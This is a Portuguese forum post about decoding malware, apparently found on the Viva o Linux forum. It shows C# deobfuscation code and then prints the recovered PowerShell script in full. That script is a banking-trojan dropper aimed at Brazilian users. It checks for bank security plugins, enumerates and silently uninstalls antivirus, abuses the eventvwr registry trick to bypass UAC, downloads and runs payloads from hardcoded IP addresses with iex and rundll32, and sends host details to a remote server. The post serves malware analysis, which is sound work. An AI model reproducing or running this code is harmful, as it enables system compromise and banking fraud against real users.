Desvendando código malicioso no fórum Viva o Linux

public static string Decompress(Byte[] bytes)
        {
            using (FileStream decompressedStream = File.Create(@"c:\temp\logfile64.txt"))            
            using (var compressed = new MemoryStream(bytes))            
            using (var ds = new DeflateStream(compressed, CompressionMode.Decompress))
            {

                
                    try
                    {
                    
                    ds.CopyTo(decompressedStream);                        
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                
                    }
                
                return decompressedStream.ToString();
            }
           
        }

byte[] file = System.Convert.FromBase64String("xZJRa8IwFIXfBf/DJfRBZbWg4sNEhgzdxuYm1tk9FCTEaw2LiUsiCl3/+zKZYp3uaWOPPff03O8e4q0kl8ZSIeo1A21IGAdye//Qv4zDp94o6gy7caTWzUa99qimGPc508qomY0jLqdqbeLrldYo7Ri14UrGz7s8Au8wUxopm0MKyRK8SXUQDqidQ+ZGV070JuAL/opAKp3xTYVsBwYFMgv7nNBqLpNWseDtUZuNc6j/iFcsfMWVDkGBS8iBlyHNn+IuOfysHiWDP8SloMxR9A3vbpBVcYPkgpCDSXB3LLx8Cq2fN400X5TKzsRneebd1QOtEk0X0OMCTYWU0wyFwdTZtPWXWjE0BsjCcNxhgU914rRgk1sFELxJCKQraPuz80WUW8iy1qna6rV8be5pHtXmHO2c4c9q+77pdG3O98u1ucTztX0A");
string s = Decompress(file);

s = string.Empty;
            char[] b = (new char[] { (char)46, (char)58, (char)87, (char)105, (char)110, (char)114, (char)97, (char)114 });

            for (int i = 0; i < b.Length; i++)
            {
                s = s + b[i];
            }

            
            Console.WriteLine(s);
 Ao fim do processo, o script foi desvendado, e segue abaixo:
$ie = New-Object -com internetexplorer.application; 
$ie.visible = $true; 
$ie.navigate("");
$mtx = New-Object System.Threading.Mutex($false, "mtt")
if ($mtx.WaitOne(500)) {
if(-not (Test-Path "$env:APPDATA\$(Microsoft\Windows\Templates\log.txt -join '')")){
	(Windows working normally, ignore this log -join '') >> "$env:APPDATA\$(Microsoft\Windows\Templates\log.txt -join '')"
	if(((Get-Culture).Name.ToLower() -eq (pt-Br -join '').ToLower())) {
		$dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[0];
		$gbPath = Join-Path $dir (GbPlugin -join '');
		$paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751";(Join-Path $gbPath gbieh.dll) = "001";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env:ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer) = "Trust";(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
		foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.Value) + ","}};
		$avs = (Get-WmiObject -Namespace (root\SecurityCenter2 -join '') -QUERY (SELECT DisplayName FROM AntiVirusProduct -join ''));
		foreach ($av1 in $avs) { $av += $av1.displayName + ","}; 
		if($av -like "*avg*"){
			Start-Process -WindowStyle Hidden powershell.exe -ArgumentList -NoP -NonI -W Hidden -E  $command = 'C:\Windows\System32\cmd.exe /c powershell -NoP -NonI -W Hidden -E "$uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;

foreach($uninstall64 in $uninstall64s) {
$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall64 = $uninstall64.Trim();
if($uninstall64 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall64  /qn /norestart" -Wait }};
foreach($uninstall32 in $uninstall32s) {
$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall32 = $uninstall32.Trim();
if($uninstall32 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall32  /qn /norestart" -Wait }};"';
$path = "HKCU:\Software\Classes\mscfile\shell\open\command";
if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq $null){	
New-Item $path -Force |	 New-ItemProperty -Name "(Default)" -Value $command -PropertyType string -Force | Out-Null }
else{exit};
$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "eventvwr.exe";
Start-Process -FilePath $eventvwrPath;
Start-Sleep -Seconds 5;
$mscfilePath = "HKCU:\Software\Classes\mscfile"; 
if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force}; -join'' -wait;
			while((get-service -Name (avgwd -join '')).Status -eq (Running -join '')) {Start-Sleep -Seconds 10;}
		}
		$ps = (Get-ChildItem (HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP -join '') -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select Version | Sort-Object Version -Descending)[0].Version;
		if(Test-Path $(Join-Path $dir (WinRAR -join ''))){
			$wr = (.:Winrar-join '')
		}
		if($v1) {
			$durl = "http://130.211.157.13/artw/COF267F9415EF3518C.cab"
			$ll = "COF267F9415EF3518C.cab"
			$output = "$env:APPDATA\$(Microsoft\Windows\Templates\ -join '')" + $ll;
			(New-Object System.Net.WebClient).DownloadFile($durl, $output);
			Start-Process -WindowStyle Hidden  powershell.exe -ArgumentList "-NoP -NonI -W Hidden -E 	$dd = 'COF267F9415EF3518C.cab,C3F5EBEC1';
																										$command = (C:\Windows\System32\cmd.exe /c powershell.exe rundll32 $env:APPDATA\Microsoft\Windows\Templates\ -join '') + $dd;
																										$path = (HKCU:\Software\Classes\mscfile\shell\open\command -join '');
																										if ((Get-ItemProperty -Path $path -Name ((Default) -join '') -ErrorAction SilentlyContinue) -eq $null){	
																										New-Item $path -Force |	 New-ItemProperty -Name ((Default) -join '') -Value $command -PropertyType string -Force | Out-Null }
																										else{exit};
																										$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath((System -join ''))) -ChildPath (eventvwr.exe -join '');
																										Start-Process -FilePath $eventvwrPath;
																										Start-Sleep -Seconds 5;
																										$mscfilePath = (HKCU:\Software\Classes\mscfile -join ''); 
																										if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};
																										";
		}
		$durl = "http://130.211.157.13/artw/arquivo"
		Start-Process -WindowStyle Hidden powershell.exe -ArgumentList "-NoP -NonI -W Hidden iex(New-Object Net.WebClient).DownloadString('$durl')"
		$tudo = (Get-WmiObject -Namespace (root\CIMV2-join '') -QUERY (SELECT * FROM Win32_OperatingSystem -join ''));
		$w = [System.Net.WebRequest]::Create("http://31.220.57.180/frontile/LIMITED/LetsGo.php" + "?A=A&Sytem=" + $tudo.CSName + "::" + $tudo.Caption + ".:" + $tudo.CSDVersion +"("+$tudo.OsArchitecture+")"+ "ps.:" + $ps + $wr + "" +"&qual=" + $V1 + "&ele=" + $av).getResponse();
	}
}
$mtx.ReleaseMutex()
$mtx.Dispose()
}